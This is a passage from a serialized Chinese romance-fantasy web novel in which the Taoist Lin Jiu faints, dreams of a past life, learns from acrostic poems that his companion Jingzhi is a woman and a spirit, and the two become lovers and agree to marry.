却又很喜欢这种侵入对方领域,留下自己气息的感觉。 他抬手抓住那绺一晃一晃的发丝,握于掌心。 古铜色的手,银白色的发,对比十分强烈。 他用食指轻轻将头发绕住,双眼盯着那缕泛着微光的头发丝直瞧。 她到底是怎么长的,怎么连一根头发都这么好看? 难怪小姑娘都爱看她呢。 不过,这么好看的她,怎么会喜欢他这种人呢? “别玩我头发了。” 古铜色的手连同头发一起被一只白皙的手握住。 静之另一手轻抚着他修得整整齐齐的头发说: “要不要跟我一起去族里的医学堂看看?我该去领书了,学习的事情需摆在首位。” “……好。” 林九其实不是很想去的,然而她盛情相邀,他还是违心答应了。 “先去个地方。”他握住她的手,撑起身子。 “去哪儿?” “理发店,我很快的,不会耽误你时间。” “……好。” 他可真规律,她已经到这个世界七天了吗? 真快,只七天,他们就定情了。 这辈子的阿九,是对她一见钟情了吧。 …… 一白一棕,一温和一冷脸,两人只隔一拳,并排走在大街上。 静之这里看看,那里摸摸,眉眼飞扬。 而林九背着手,不苟言笑,却总在她身后转悠,帮她拿着她买下的一些奇怪玩意儿。 这会儿,林九接过来一把铁揪,看着还在跟铁匠订挖掘工具的静之,有些语塞。 “林弟,你……买这些要干什么?” 静之摸出订金交给铁匠,定好七日后交货,这才拉着林九走出铁匠铺。 “我跟你说,我想过了,打是要打的,但是总有一些弱势群体是打不动的。” “我打算召集人手,挖一个大大的洞,越深越好,越偏僻越好,然后把他们都装进去。” “当然,来挖洞的人,我已经想好了,等会去梁家的时候,我可以顺便摇人。” 林弟这是想建一个桃花源吗? 林九没有怀疑她早上跟他说过的话。 他总觉得,她是什么避世高人的弟子,否则怎么解释她身带灵气,又能未卜先知呢? “你就这么信任梁家人?”他问。 “当然,这个镇子上,林兄你就是我最信任的人。” “这第二嘛,就是梁家人。” 还说他说话好听呢,她说话更好听。 林九脸上严肃的表情差点崩不住,嘴角微微勾起,心里抓心挠肝的想牵她的手。 却碍于现在是在大街上,人来人往的。 他只能紧紧捏着拳头忍住,只是眼神有时候会不受控的往她身上飘去。 “喏,主宅就在这里,进去吧。” 梁府就在她家对岸不远,因为子孙众多,凝聚力又强,所以梁府一直在翻新扩建,占地面积很大,几乎占了大半条街。 然而林九一次都没来过。 他都快烦死梁恩了,连带着看这梁府也不顺眼。 “你要是不想进去,要不你在门口等等我,我拿了书马上回来?” 看他脸色不太好,静之建议道。 林九却是摇摇头,抬脚便率先跨进门槛里。 来都来了,他要先替她把把关,看看这梁府里的人,到底值不值得信任。 “等等我嘛。” 这里她来的次数不多。 上上辈子孩子们都成年后,来这处买房落户,她则跟二娣两个人留在了她们的小家里。 也就只有空闲的时候,偶尔会过来看向两眼。 没想到才过了百年,这里变化就这么大了。 梁家没有那些华而不实的装饰假山和亭台楼阁。 一进门,左手边就是一个超大的练武场,两侧摆着各式各样的兵器,在阳光中熠熠生辉。 一溜儿从高到矮的大小萝卜头,正哼哼哈哈,排列整齐,练着武。 右手边则是一大片空地,摆着成片的圆形竹编簸箕,浓厚的药香在空气中浮动。 几名穿着白色围裙的男男女女正坐在一旁,不时翻动着簸箕里的药材。 林九先静之半步,隐隐将她护于身后,凌厉的双眸不动声色打量着周边的人。 怎么回事,他总感觉这些人看到他们了,也隐有目光落在他身上,但就是没人过来打招呼。 没礼貌。 林九越发不悦,身边的气场都冷凝了下来。 练功的人动作都停了一瞬。 翻药的人,啪一声脆响,把莲子捏成了两半。 完了完了,祖宗好像生气了,谁过去带他们进去啊?? 你去! 你怎么不去?! 我害怕。 几个大人用眼神各种推搡,左边练武场几个没良心的大哥哥却一把将最小的弟弟推出来。 “小光你去!梁恩爷爷说了,祖宗不打小孩的。” 小光吸了吸鼻子,一脸懵懂的摸摸光脑门,“你们可别驴我嗷,不然我告爷爷去。” 他还在那儿眯着眼睛跟哥哥们说话,在太阳底下还反着光的小光头,却被一只温暖的手轻轻搭住。 “原来你叫小光啊,梁纪叫我来领书,你能带我去找他不?” “别摸我头,不长头发啦!” 手被啪的一声打掉。 静之的手背隐隐泛起了红,林九逆着光的脸却越来越黑。 六岁的小光看着他极其严肃的黑脸,小胖手捏着衣角,突然“哇”的一声哭出来。 “哇呜呜呜……别打我!哥哥……哥哥……我害怕!” 小光撒丫子跑了。 静之僵在原地,林九比她更僵。 搞什么,他又没动手,哭个屁。 静之拍了拍他的肩,叹一声: “九哥,都叫你多笑笑了,你看你,把一小孩都吓哭了。” 林九有些委屈,他的视线落到她红红的手背上。 她皮肤白,衬得那个小小的红手印越发明显。 “小孩又怎么样,小孩也不能打你。” 静之摸了摸有些火辣辣的手背,心里却滋生出一种看到健壮乖孙的欣慰感。 “你还真别说,小光力气还挺大。” “…………你心更大。”林九忍不住剜了她一眼。 一旁的几位大哥哥没人敢过来,右边蹲着的年轻人好似在玩木头人,没一个敢动的。 直到一个温和的中年男人声音从入户门传来。 “z……静之啊,怎么这个时候才来,我以为你要早上来,医书早都给你备好了。” 第229章 林九昏过去了 静之抬头一看。 好家伙。 小光真告爷爷去了。 这会儿正趴在梁纪怀里哭得直抽抽呢。 “呜……爷爷,就是他,他瞪我,那个人还摸我头,整个梁家都知道不能摸我的头,他居然摸我。” 小小年纪,恶人先告状。 林九下摆用力一挥,大步走了过去。 “年纪小,也不是你打人的借口。” 梁纪一看到这个祖宗也来了,恨不得当场给他跪下。 “打,打谁了?” 完了完了,这两个,哪一个都不能碰啊。 小光到底打谁了? 不会是打了最不能打的那一个吧?? 静之把右手藏到身后,俯下身去,笑眯眯的对着小光道歉: “对不起,没有经过你的同意就摸你的头,原谅我这次好不好啊?” 梁纪可算是听出来了,小祖宗打了老祖宗,他恨不得当场掘个坟给自己埋了。 “那我就……嗝……原谅你吧。” 小光不停打着奶奶的哭嗝,说话间小表情还挺傲娇,跟某人简直像足了七成。 林九差点没崩住黑脸,不过脸色倒是和缓不少。 算了,跟个小孩子计较什么。 都说侄儿像叔,这小孩倒是跟他林弟有几分相像之处。 林九的心里对静之是梁恩私生子这个说法,又信了几分。 “那什么……进来喝口茶水润润喉吧,我拿书给你们。” 梁纪看着林九手里反射着太阳光的铁铲,忍不住咽了口口水。 他都怕说错话,这老祖宗一铲子给他铲飞喽。 “好。” …… 小孩的脾气来得快,去得也快。 这会儿正噔噔噔跑在前头给他俩带路。 林九不着痕迹打量四周,越走越觉得诡异。 真是奇怪了。 这里…他是不是来过了? 林九越走越慢,身子止不住开始晃动。 静之发现动静侧头一看,差点直接被他毫无血色的脸吓死。 “九哥,你没事吧!”她赶紧揽住他的肩膀,稳住他的身子。 “赶紧出去,这个地方……有古……怪……” 林九实在支撑不住,铲子哐当一声落了地,他则直接软倒在她怀里,失去了意识。 “阿九……阿九!!!” …… 头好晕。 是谁在叫他。 “下辈子,你还来找我好不好?” “好,不过你记得我说过的哦,下辈子,你给我离女人远点儿,再像这辈子一样,给我搞出这么多感情债,我就不找你了。” “拉勾,我不找女人,你一定要来找我,我会等你的。” “我答应你!你也要记得我说的,我不喜欢你留太长的头发,要把自己收拾得干干净净,我才去找你。” “还有,名字不许改,不然我就找不到你了!” “我等你。” “卿卿……等等我,卿卿!!!” 林九猛的翻身坐起,满脑门都是虚汗,他喘着气,环视一周,发现床边站满了人。 阿宝一脸担忧:“师父你没事吧?” 小海担忧中带着一点八卦:“师父,你叫了好几天卿卿了,卿卿……是谁啊?” 边问,他还边偷摸瞅了静之一眼。 他师父可一向叫他师爹林弟的,这卿卿……又是哪里来的小妖精? “九哥你……想起来了?” 静之的表情最为复杂。 三分自责,三分担忧,加四分显而易见的期待。 林九怔怔看了她几秒,才张嘴说:“林弟,我饿了。” 她眼里的两束光直接被他一句话浇熄。 “小海,把粥端过来。” 小海这会儿看林九眼睛不是眼睛,鼻子不是鼻子的。 人家师爹衣不解带照顾了他三天三夜,他醒来第一句话就是饿了,嘴里还直念叨卿卿。 呸,臭渣男! 他端来粥,忍不住嘴一句:“师父,三心二意是会被雷劈的。” 林九一脸懵逼。 他怎么三心二意了,他天天跟静之在一起呢。 静之接过粥,有些无奈的说: “事情不是你们想的那样,你们都出去吧,这里有我呢。” 两人走后,静之舀了一勺粥吹了吹,呈到林九的嘴边。 “先吃点清淡的,你好几天没吃东西了。” “我自己来,又不是病了。”林九含住那口粥,然后接过碗,边慢慢吃着,边问: “好几天?我晕几天了?” 静之扣着指甲,闷着头低声诉说着: “三天,梁恩说你没病,现在天都快黑了,你再不醒,就是第四天了,对不起,我不该带你去那里……” 豆大的泪,啪嗒一声掉在他的被子上。 林九赶紧放下碗。 挑起她的下巴一看,发现她清澈的双眼此时红得跟兔子一样,脸上也全是泪痕,眼下是浅浅的青黑。 “哭什么,没病是好事,你…多久没睡觉了?” 静之用袖子胡乱抹着脸上的泪,别过脸躲避林九的眼神。 “睡了的,每天都有睡。” 小海窗户一撑,伸进来个脑袋: “师父,你别听她瞎说,从你晕过去以后,她就再也没睡过了,饭也不怎么吃,水都没喝几口,整整三天三夜,你再不醒,我看她都要殉情了。” 林九微白的嘴唇渐渐抿紧,“小海,再端碗粥来。” “好嘞!” 窗户咔哒一声落下,昏黄的阳光被挡在室外。 “笨蛋,以后不准再这样。”微微暗下来的室内,两张干裂的嘴轻轻贴住。 静之忍不住抽噎一下,他会变成这样,都是她害的。 她真的不是故意的。 带林九去梁宅,不过是一时兴起,绝对不在她的计划之内。 上辈子林九去那儿的次数比她还少,她万万没想到,他还是容易有感应。 至于他没能想起她,失落肯定是有的。 更多的是万幸,她就怕他一倒下就起不来了。 “以后我自己去,你别去那儿了。” 她正说着,林九突然悠悠说一句: “林弟,我……好像该找个人。” 静之的心跳霎时漏了半拍,“找,找谁?” 他扶着脑袋,好似有些苦恼的样子。 “不知道,一醒来就又忘了。”林九握拳,轻轻怼了两下眉心。 奈何,一点卵用都没有。 但是他知道找人这件事对他来说,是非常重要的。 “既然难受,就别想了,等你想起来了再说,先吃饭。” “卿卿?” 她碗里的粥差点直接倒他腿上。 静之猛的抬头看向他,那双通红的眼睛,却直接对上他探究的眼神。 “小海刚刚说……我叫卿卿了,你反应这么大,你是不是认识她?”林九看着她问。 一天天的,真是要被他吓死。 极速跳动的心跳,又慢慢缓了下来。 第230章 她说得对 在林九探究的眼神中,静之缓缓点头: “没错,我认识她。” 林九粥都没喝,两手紧紧抓住她的肩膀: “她在哪儿,你快告诉我。” 林九仿佛失去理智,抓得她有些痛,静之动了动肩膀,眉毛缓缓蹙了起来。 “你……为什么想见到她?” “对不起,是我失态了。” 林九此时心里也非常复杂。 他对那个人的感情,与对林弟的感情尤为相似。 虽记不得脸,但是那种心跳加速的感觉,明明就是一样的。 难道……那个叫卿卿的,是他命定之人? 可他已经有林弟了呀。 一段感情里面,也需讲究先来后到。 就算他对那个叫卿卿的动心了,他也绝不可能负了林弟。 莫名的,林九看静之的眼神里暗含着一丝愧疚。 是他对她感情不纯的愧疚。 “林弟,吃了粥,你也上来睡会儿吧,我看你脸色不太好。” “你让我睡这?”静之有些惊讶。 上辈子林九没成亲前,每次都把她朝外推。 这辈子可倒好。 一礼拜就邀请她大被同眠。 林九慢慢喝着粥,脸被粥的热气晕得有些红。 他的视线紧紧盯着碗沿的花纹,说: “我们都是男人,没关系的,还要回去多麻烦。” 话刚说完,静之鞋子都快蹬飞了,右脚一跨,踩着床沿直接翻到他床铺里侧。 “师父,粥来了。” 小海端着粥进来,还没走到床前,就看到并排坐在床上的两人。 他的脚步有些踌躇,“我……我……” 他是不是来得不是时候? “端给我,然后你出去吧,把门带上,我们休息会儿。”静之说。 小海看了一眼正喝粥的林九,伸长手越过他,小心翼翼把粥递给静之。 然后脚底抹油,往外冲。 屋内的光线越发的暗了,索性他俩都累了,也没想再起来点个灯。 喝粥嘛,摸黑也能喝。 粥甜甜的,里头被小海放了块红色的地瓜。 静之轻轻摁瘪一块,然后舀起一小块抵到林九嘴边,“九哥,你吃吃?又甜又绵,很好吃的。” 林九那碗粥是白粥,小海那个臭小子就给他放了点盐。 他是干啥伤天害理的事儿了,他的二徒弟这般区别对待他? “不用,你吃。” “我觉得好吃,就想跟你分享嘛,一起吃会更好吃。” 静之微微使了点力,用陶瓷的汤匙撬开他的嘴巴,汤匙轻击坚硬的牙齿,发出叩的一声。 静之听得有些牙酸,她谄媚笑了笑,又撒娇着说:“吃嘛,不吃我就回隔壁去睡觉了哦。” 她对他越好,林九就越容易因为不纯的感情感到愧疚。 他暗暗叹了口气,还是把那口绵软的地瓜含了进去。 “甜吗?” 她刚刚哭过,仿佛被眼泪洗刷一遍,此时她的眸子在黑暗中亮晶晶的,他轻易就能看到她眼里的依赖和期待。 “……甜。” 但是他心苦。 这都是什么事儿。 他宁愿一点儿也想不起来。 …… 在静之的强迫下,那一大碗地瓜粥,被两人你一勺我一勺的分食了。 静之一只灵猫,吃什么,都没个饱的。 林九倒是吃得有点撑,他半躺半靠在床头,手下垂,轻轻摸着静之的脸蛋。 “林弟,梁宅真的有古怪,找个机会,我想再去一次。” 闭上眼睛,昏昏欲睡的静之突然瞪大了眼,“不行!!!” “为什么不行?” “你又昏过去怎么办?” “……我尽量保持清醒。” 静之侧过身子,紧紧抱住他的腰,“不去好不好?昏过去这种事,你哪里控制的了?” 林九低下头,看着黑暗中她轻轻泛着的睫羽,然后昂头回忆一番,说: “这种类似的感觉,我在你家也体验过一次,那次我就没晕过去。” “要不……我们重现当日的场景,我试试看能不能再想起什么……” 她昂起头,有些犹豫,又担心他的身体。 “你为什么非要想起点什么呢?” “咱们离梁宅远远的,我也不穿女装逗你,我只想要你好好的。” 静之的声音有些哽咽,林九挪动着身子,往下蹭了一点。 她以为他会安慰她,结果没有。 林九硬起心肠说: “林弟,我想跟你说声对不起。” “为什么?”她微微发愣,“怎么突然说这个?” “我……我上辈子可能跟这个叫卿卿的,有亲密关系……” “虽然我看不清她脸,但我知道她是个女子,在梦里,我对她的感觉,与面对你时,是一样的。” “我不想瞒着你……我想再试一次,看看能不能记起前因后果,然后你带我去找她,我想跟她说清楚。” 静之的心宛如十五个吊桶打水,七上八下的,“你……想跟她说什么?” 他把她从怀里挖出来,扶着她的肩膀,直视她,一脸郑重的说: “我想跟她说,我是个负心汉,就算找到她了,这辈子也没有办法与她再续前缘。” “因为,我已经找到我的良人了。” 静之简直哭笑不得。 他这是觉得自己精神出轨了吗? 什么劳什子掰直计划,她看可以作罢了。 让他吐一场,总比让他受到精神折磨好。 “九哥,我也有话想跟你说。不过,我得先回去。” 林九更懵了。 他不就在这里吗? 要说就直接说,回去干什么? 静之麻溜跨过他,下床穿鞋。 穿好后,她捏了捏衣袖,回头深深看了林九一眼。 “我想对你说的话,都在那两首诗里,你仔细看看……什么时候你看明白了,你就来隔壁找我。” “我…会一直等你的。” 走出房屋前,她咬着唇纠结半天,又补充一句。 “我也想跟你说声对不起,我不是故意瞒着你的。” …… 她走后,林九直接陷入沉思。 什么意思? 她瞒他什么了? 难道她也有个卿卿? 是那个留下肚兜的女人吗? 林九越想越难受,被子一掀,趿拉着鞋子走到了书房。 点了蜡烛,拿着蜡烛来到书架旁找当时看的那本书。 找到一半,突然看到架子上的小小的礼盒。 对哦,他都忘了。 这东西,本来想七月十八给她的,结果他晕过去了。 算了,等会一起拿给她好了。 找到书后,林九坐下来,抖着书把那两张纸摇出来。 “要说什么?那天都看了,好像没什么啊?” 烛泪渐渐流下,堆满了灯座。 林九看得都快对眼了,依旧没看出什么来。 难道是他文学素养不行?没看出什么暗喻? 林九甚至怀疑她在纸上做了手脚,还特意把纸张放到烛火上烤一烤。 结果啥都没发生。 …… 另外一边,静之一回家,就洗了个战斗澡。 然后换上了全套女装,还精心装扮了一下自己。 绝对是定睛一看,第一眼就能看出她是女子的那一种。 她坐在梳妆台前,手里拿着前世林九给她做的发簪,犹豫了许久要不要戴上。 摘下的话,他肯定一下就发现她不是人了。 静之思索了半天,还是把簪子戴上了。 算了,他能吐,可不能晕。 她再也承受不住他在她眼前晕过去了。 一切都准备好以后,她提着裙摆款款而行,来到秋千上坐下。 微风拂面,耳边是夏季常有的蝉鸣和蛙叫,这种时刻,本应感到心神宁静。 而此时的静之心里却是万分忐忑。 不知重复数了多少个一百,秋千都要摇烂了。 静之才听到隔壁突然响起砰的一声开门声。 紧接着是急促的脚步声。 她下意识看向院门,刚想站起来去开门,又默默坐回原位。 好吧,是冲着墙来的。 是的,林九来不及走门。 他借着那根出墙的树枝,直接跃了过来。 林九立在墙头,她一袭白衣站在秋千旁。 又圆又大的月亮就在他身后,林九逆着月光,静之看不太清楚他脸上是什么表情。 而她在月光中暴露出来的凹凸有致的身材,却明晃晃的告知林九一个事实—— 她是个女人。 林九久久不下来。 静之忍不住咕咚一声,吞了口唾沫。 他……不会要从墙上吐下来吧? 此时的林九哪有心情吐。 也莫名的不想吐。 他刚刚看了半天,要不是风把纸吹歪了,他还真发现不了她诗里藏的猫腻。 第一首诗: “唯见曲尽平湖深,” “爱惜尔爷唯有我。” “林红半被暮云烧,” “九霄唯望冢累累。” 藏头为:【唯爱林九】 第二首诗: 吾徒耽酒作狂人, 为君百战如过筹。 女几山头春雪消, 子规夜啼江树白。 藏头为:【吾为女子】 她可真是好样的。 难怪当初她一脸神秘的问看没看出什么…… 她说的对。 他就是一根大木头。 第231章 质问&鉴定 突然,林九动了。 他轻轻一跃,跳下围墙,步伐失去以往的从容,快步朝她走来。 走得越近,他脸上的表情越明朗。 眸底的暗潮汹涌被对面的静之看得一清二楚。 还未走到跟前,他就发起了一连串的质问。 “为什么瞒着我性别的事?” “我……”静之犹豫了一瞬,还是老实回答,“我怕你吐,你会恶心我。” 林九:“你是有意接近我的吗?” 静之:“……是。” 林九闭了闭眼,面色有些不佳,停住脚步,离她两米远站定: “你之前对我的情话,还有说喜欢我的话……” “都是假的吗?” 这个问题,静之倒是回答得很迅速,甚至还用上了三根手指头。 “都是真的,我发誓,我是真喜欢你,才想着接近你的。”她的眼里满是真挚。 除了真挚,里头的爱恋,就像喷嚏一样,止都止不住,甚至都快溢出来了,就算一个半瞎的人都看得出来。 更何况是林九。 他缓缓松了口气。 刚挪动了一下脚,就跟同极互斥一样,静之莫名后撤。 林九住脚,眉心渐渐锁起。 “为什么躲我?” 静之右手紧紧捏着秋千上的铁锁链,恨不得把下唇的死皮一遭全咬下来。 “我……你不是怕女人吗?我怕你吐。” “……”他眸光微顿,旋即缓缓朝她伸出右手,“过来,我保证不吐。” 她的视线从他脸上缓缓转移到他摊开的手上。 略有犹豫似的,她从秋千后小步挪了出来,指尖紧张到微微湿润,还有些不易察觉的抖动,尝试性朝他的手心搭了上去。 指腹刚触碰到他的那一秒,两人皆浑身一震。 她立刻抬头看他的脸色。 这家伙,不会吐她手上吧?? 还没看清,她的手指就被紧紧拽住,整个人被用力往他的方向一拉。 “砰!” 她被他坚硬的胸肌砸了个晕头转向。 还没反应过来,肩膀被揽住,腿弯被一臂撑起。 悬空感陡然袭来。 她惊呼一声,垂在外侧的一手慌乱的在空气中划拉几下,然后搂住他的脖子。 “你……” “别说话,从现在开始,你这张嘴不许说话。” 林九抱着她穿越她家的前厅,径直走向她房间。 低沉的声音通过胸腔的震动传进她耳朵里,“你这个小骗子,需要接受惩罚。” 门吱呀一声被脚抵开。 他跨进去后,又顺脚勾上,把所有的月光牢牢隔断在门外。 黑暗侵染了他的眸。 静之明显感觉到他现在有些不对劲儿。 但是是她先骗他的,她这会儿心虚的很。 不说就不说呗,他没吐就行。 静之漂亮的眉眼微弯,甚至把侧脸靠在他温暖的胸膛里。 察觉到她的依赖,他眸子里的黑暗少了一点儿。 不过也只有一点儿。 她被放到床上,双腕被一手压在头顶,林九欺身而上,低头用力咬住她的唇。 静之此时心情一般。 甚至有些想笑。 他真的不吐诶~ 还敢上嘴咬她,我家怕女人的阿九出息了! “林弟……不……是林妹……” “停!别叫我林妹!” “……” 瞧他抿着嘴,眉头不展的样子,即使双手被制住,静之也没在怕的。 她伸长脖子,往上轻轻怼了怼他的额头,吐槽道:“我才不是林妹妹。” “……那叫什么?” 静之灵动的眼神咕噜一转,嘴一撅。 “叫我大壮,林大壮,你觉得怎么样?听起来就有劲儿,好养活。” 林九差点崩不住笑了。 这还是个女娃的名字吗? 他把头埋进她的肩窝,轻轻呲笑一声,语气危险。 “好,大壮,希望你今晚……一如既往的有劲儿。” 静之心里的警铃轻轻响了一声。 “你说的啥意思?” 帷帐被放下,温热的躯体压了下来。 静之趁他伸手放帷帐的时候,把手伸到胸前格挡住。 “我跟你说,虽然我骗了你,你也不准打我哦,我真的会生气……别别别!!!” “我要亲自确认一下,你真的是女人。”他说。 衣物被扯得满天飞。 静之万万没想到,他所说的确认方式,居然是这种。 她也万万没想到,他俩擦枪走火。 真的…… 做了。 ……【略】…… 帷帐动了半宿。 他俩的衣物早已被蹭到地上,一只纤细白皙的手臂伸出帐外,一动不动。 在初阳的照射下,腕部被用力捏住产生的青紫轻易可见,手臂上的点点红痕却更是充满了暧昧。 消停了一会儿,安安静静的房间,突然“窸窣”一声。 一只古铜色的大手伸出来,把她酸软的手臂捞了回去。 静之转动腕部挣脱,向后推了推又贴上来的黏糊道长,却摸得一手热汗。 “唔……九哥,别……我想洗澡……你也该洗个澡了,一身汗。” 帐子里被升起的阳光带得亮了起来。 撑着头的林九,可以清晰看到她有些疲惫的睡颜。 她眼底青黑依旧,脸色却异常红润。 林九摸了摸鼻子,有些心虚。 都怪他。 昨晚实在没忍住,食髓知味,竟是没让她睡上几分钟。 暗骂自己不是人的林九,凑过去亲亲她满是牙印的肩头,柔声说道: “你先休息会儿,我去烧水。” “嗯……zzz” 她实在是遭不住了。 三天三夜不睡觉,到头来还遭受了他昨晚极为强势的半宿欢爱。 快累撅了的大壮表示,她今天就要当一天林妹妹回回血了…… 第232章 马甲怎么又掉了 大大的浴桶里装满了热水。 微烫,热气蒸腾。 快八月的天,静之坐在里面,感觉又闷又热,都快中暑了。 但她依旧没有一点力气动一下。 头歪在一边桶沿,一瓢洗澡水从她头顶缓缓浇下。 困成狗,甚至没空怕水的静之,屁股往前一滑,整个人向后仰。 虽及时伸出双手把住浴桶,她还是不可避免的咕咚咕咚错喝了几口自己的洗澡水。 林九看她一副喝到水饱的样子,忍不住叹了一声,把衣服褪去,一同跨了进去。 他掐着她的胳肢窝让她靠着他,他则拿起水瓢边给她浇着头发,边用手指给她疏通。 静之回过头眯着眼看他,“我警告你哦,你给我老实点洗,再乱来,我就……打你。” “呵。”看着浮在水里面的白发,林九的眼里闪过一抹深思,“大壮现在还有打我的力气吗?” 静之:“……哼,等我休息好了一起打。” 脑子已经被他抽空的静之,已经忘记了簪子这回事儿。 直到他凑到她耳边说了一句话,她才从浴桶里哗的一声站了起来。 他说:“你不是人吧。” 静之满头湿漉漉的头发贴在身上,倒是遮去不少春光。 不过这种若隐若现的感觉,又默默让坐着看她的林九红了眼。 她慌乱的摸着脑袋上的簪子,发现什么都没有。 直到林九的另外一只手从水里抬了起来。 簪子,就在他手中,还滴着水呢。 “你还给我!” 她俯下身去,伸手就要抢。 却没想到手腕又被轻轻拽住,往他怀里带,“唉,你到底还瞒了我多少东西,为何不一次性告诉我?” 被他紧紧抱住腰的静之,头枕在他肩窝里。 她有些讶异的眨巴眨巴眼睛,“九哥,你不怕我吗?” 林九一口咬住她的肩膀,摇了摇头。 “大壮,你刚刚在浴桶里睡觉的时候,我开眼看过,你知不知道,你身上的金光比外头的太阳还亮。” 静之嗫喏一下嘴,突然有些尴尬的用肩膀顶了顶他的头,她小声在他耳边说: “这件事先不说,能不能别叫我大壮,我昨夜是跟你开玩笑的。” “……呵。”林九声声醇厚的底笑,让浴桶里的水都泛起了一层淡淡的涟漪,“那叫你什么?” “ q ……” “我是q……” 静之彻底萎了。 她在心里偷偷对外头的天空比了个中指。 感情这种事关前后世的东西不能让她说,就非得让他自己挖掘是吧。 整! 老天爷你就整死他们俩吧! “算了。”她宛如泄气的皮球,把脑袋的重量全部放在他肩膀上,“你还是叫我大壮吧。” 好像知道她此刻心情不太美丽,林九并没有对她做什么,给她收拾干净后,自己也洗了个战斗澡。 回到房间后,她发现她房间被收拾得干干净净,连床单也换了。 她三步并做两步,鞋子一踹,直接重回大床的怀抱。 “好了,有什么事儿明天再叫我,我要睡了。” “把头挪出来点,头发湿的怎么睡觉?” 林九手指插入发间,往后撸了一把自己半干的头发,露出了光洁的额头。 静之把头挪出来,半睁开眼一看,差点被大背头的林九迷得找不着北。 “你……你过来,帮我擦干。” “呵,敢使唤我了?”林九走过去,拉着把椅子在床边坐下,抽下肩头的干布一点一点擦拭着她发上的水珠,“小猫。” “嗯?”她眯着眼,舒服得直哼哼,可不像只小猫吗? “你是我未婚夫,怎么就不能使唤一下了。”她笑着说。 林九呼吸一滞,擦头发的动作停了下来。 静之倏然睁眼,“怎么?咱们都那样了,你不想负责?” “不是。”他低头倒着含住那张嘟起的嘴,“唔……负责的,未婚夫,我是你的未婚夫。” “嘻……”她双手上抬,调皮的胡乱揉弄着他的头发,“林道长怎么不试着把我收起来一下呢?” 林九无奈的后仰脖子,把自己乱成鸡窝的头发从她手里解救出来,“你啊,以前以为你是调皮,后来发现这是你的本性。” 猫的特点之一:手痒。 看见啥,都想着玩一下,拨弄一番。 “再说了,你身上又没有煞气,又没有阴气,我收你干什么?” 静之抓住他的手发泄式啃啃,有些不讲道理的说: “这么说的话,我身上要是有煞气,你就要收我喽?” 昨晚已经鉴定过自己是纯直的大直男林九一脸认真的点了点头,“要收。” 她猛地翻身坐起,拿莹白的脚丫不停蹬他的腹部,“你走,你出去!小海说的对,你无情!” 林九轻轻拿住她的脚腕,有些无措。 “静之……我……这不是假设的吗?作为道士,遇到害人的坏妖,我是一定会收的,可你又不是。” “……哼。”她撤回一个脚丫子,裹着被子往床里侧一滚,就留个后脑勺给他。 “你回去吧,我要睡觉了。” 床板“吱呀”一声。 外侧躺了个人。 裹成蛆的静之被他捞回怀里。 她扭动挣扎。 他死死制住。 林九凑到她耳边说: “若是你真害了人性命,我会先收了你,然后与你,共入轮回。” 静之斜了他一眼,心里直道好家伙。 就这么个假设的问题,他都想到殉情去了。 这辈子他的脾气是真刚烈。 难怪小红被他这番收拾呢。 她叹了口气,咕蛹几下,把他一同卷进被子里,“好了,睡一下,晚上还得上坟呢。” 林九眼睛微微睁大,“上谁的坟?” 她把手从被子里拿出来,然后一摊,“威大人的坟呗,好几天了,我都没去盯他,今晚可不能再如此懈怠了。” “我同你一起。” 静之有些惊讶,“你……林道长你要舍命陪君子,与我一起做这见不得光的事儿?” 他的眼里满是不赞同,“怎么能算见不得光,为百姓谋福祉,为百姓申冤的事儿,九认为是最见得了光的。” “……看来你也不是不知变通的老古董嘛。” “说谁老古董,说谁老古董?” 林九一把将她压住,咯吱她痒痒。 静之扭得跟条鱼似的,笑得上气不接下气,“我我我,我是老古董,相公你放过我吧!” “相公……” 林九突然紧紧扣住她的手,亲了上去,“静之……我们,成亲吧。” 她本来没想成亲这回事的。 毕竟,历史就像一把刀,悬在了她脖子上,她总觉得时间不多了。 成亲这种事,费时又费力。 转念一想,她成过好几次了,而这辈子的林九依旧纯情的要命。 成亲对他来说,应是极为重要的一件事。 想了想,她还是点头答应了。 “好。” “好!”林九喜上眉梢,笑得合不拢嘴。 “不过,我有个要求。” “什么要求?” “不可过度花费,我想你把钱用在刀刃上,形式只是表面,最重要的,是我嫁给你这件事。” 他轻抚着她的侧脸,仿佛捧住了一颗珍宝,“好,都听你的。” 林九对着她的红唇,虔诚落下一吻。 “静之……” 我会好好把卿卿忘了的,从今往后,我的身边,我的心里,只有你一个人(划掉),一个猫。 第233章 要不你还是别去了 这一觉,静之睡到太阳西斜,直到听到小乖在外头唰唰刨门,她这才悠悠转醒。 “九哥……快拉我起来。” 眼皮好像被黏住,身子好似被封印在床上,静之抬起有些发重的双手在空中挥舞了两下。 林九笔尖微顿,吸饱了墨的笔头在婚帖上晕了个不甚雅观的小墨点。 强迫症的他,抿着嘴将写了一半的婚书轻轻对折,然后放进废纸篓。 算了,重新写一张吧。 她都说了不能乱花钱,但是这些重要的细节,他还是要慎重一点把控的。 林九放下笔,走过去坐到床前,看着静之还在那儿闭着眼划拉着手找他,一颗心实在是软得不成样子。 呵,她没睡醒的样子可真可爱。 此时的林九衷心希望,岁岁年年,每日清晨,都能看到她这般爱娇的模样。 他轻笑着摇摇头,拉住她的双手微微使力,随着一股香风扑面而来,她柔软的身躯就扑进了他温暖的怀抱里。 “嗯,还没醒?”林九轻轻顺着她背后有些凌乱的头发,浅啄一口她睡得有些发红发热的耳垂,低声问: “都困成这样了,你确定要今晚就行动?” 静之揉着眼睛,回蹭两下他的脸,点了点头。 “要去的。” “你昏过去的时候,我收到消息了,今天他要去如意阁跟一个国外来的毒贩子做交易,好不容易有点线索,可不能就这么断了。” “而且我已经踩好点了,必须去哦。” “如意阁?”林九帮她整理发丝的动作一滞,“那里可不是个好地方,你要如何进去?” 静之理智渐渐回笼,她低头看了看自己身上的白色中衣,然后轻轻拂开他的手,开始解着腰间的系带。 “当然是女扮男装喽,那里女人可不让进。” “那我?”林九脸色有些不好,他微微垂着眼角,一时竟有些后悔太早答应她了。 但是不跟她去的话,又怕她有危险。 “我……”一时之间,林九脑子里天人交战,嘴巴仿佛被堵住。 见他那么为难,静之突然猛的一拍脑门。 “对哦!”她恍然大悟,“你怕女人,那里女人最多了。” “要不……你在道观里等我回来?” 林九走到她衣柜前,给她取来了男装,他紧了紧拳头,下定了决心。 “不!怎可让你一人去冒险,我……我想我可以的。” 静之右眉梢微微向上一挑: “林道长在镇上可是出了名的严肃诶,跟我一起逛青楼,肯定会影响你的口碑的。” “毕竟,道观可是个清心寡欲的地方,你不怕自己形象被破坏啊?” “怕。”林九老实点头,“但是更怕你出事。” 洋人的武器,他有幸见过几次,威力挺大。 